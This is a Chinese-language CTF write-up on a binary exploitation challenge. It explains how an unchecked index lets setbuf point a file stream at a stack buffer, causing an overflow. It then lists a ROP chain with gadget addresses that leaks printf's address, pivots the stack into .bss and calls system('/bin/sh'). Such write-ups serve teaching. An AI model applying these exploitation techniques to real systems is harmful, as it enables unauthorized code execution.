天天看點

CTF 中setbuf利用筆記

主要參考 https://paper.seebug.org/450/ (CTF PWN 題之 setbuf 的利用) 這篇文章,寫的比較随意,就是整理一下思路:

首先看漏洞點

CTF 中setbuf利用筆記

v3是使用者輸入的,可以控制,而且基本上沒有限制,隻要輸入小于等于2就行,再看off_804B048處:

CTF 中setbuf利用筆記

程式的本意是想讓我們調用no xor re這三四個函數,但是由于沒有限制輸入的資料,導緻可以輸入負數調用上邊的setbuf printf等等函數

又因為(*(&off_804B048 + v3))(s, (void *)(264 * v4 + a1 + 8), *(_DWORD *)(264 * v4 + a1 + 4)); 函數的參數是沒辦法控制的,是以這個地方是考慮到調用setbuf函數,也就是setbuf(s,(void *)(264 * v4 + a1 + 8))

stream = fopen("/dev/null", "a");

size_t __cdecl no(FILE *s, void *ptr, size_t n) { size_t v4; // [esp+Ch] [ebp-Ch] v4 = fwrite(ptr, 1u, n, s); if ( v4 != n ) error(); return v4; } 由上邊這兩段代碼,是以使用者輸入的資料都會複制(而且是追加方式)到s,也就是stream,由于我們剛才的設定,是以輸入的資料都會複制到(void *)(264 * v4 + a1 + 8),複制多了就會導緻棧溢出了。。。。 memset(&v4, 0, 0x528u);

再看一下rop鍊的構造: gadget1 = 0x08048dab # pop ebp ; ret gadget2 = 0x080485f8 # leave ; ret gadget3 = 0x08048495 # pop ebx ; ret gadget4 = 0x08048daa # pop edi ; pop ebp ; ret gadget5 = 0x08048da9 # pop esi ; pop edi ; pop ebp ; ret one_gadget_sh = 0x56ff5 read_buf = 0x080486D9 stdin_bss = 0x804B060 bss_buf = 0x804b700 rop1+=p32(e.symbols["printf"]) + p32(gadget3) + p32(e.got["printf"]) # printf(&printf) rop1 += p32(read_buf) + p32(gadget4) + p32(bss_buf) + p32(0x100) # fread(buf, 1, 0x100, stdin) rop1 += p32(gadget1) + p32(bss_buf) + p32(gadget2) + p32(bss_buf)

首先調用printf列印出printf的函數位址,這樣就可以擷取system bin/sh 的位址了 再調用read函數 (這個read函數是自定義的)讀取使用者輸入的資料到bss段 然後調用 gadget1 使ebp=bss_buf ,再調用gadget2使esp=ebp pop ebp 最後傳回到bss+4處執行 ,最後那個 p32(bss_buf)可以删除 這樣使用者再輸入資料 rop2 = "aaaa" + p32(system_add) + p32(binsh_add) + p32(binsh_add) 就會在bss+4處執行,正好執行了system('/bin/sh')

具體還是看一下文章開頭那篇文章吧 介紹的很詳細。

參考資料: 1. https://paper.seebug.org/450/ 2. https://github.com/Hcamael/CTF_repo/tree/master/CODE%20BLUE%20CTF%202017/Pwn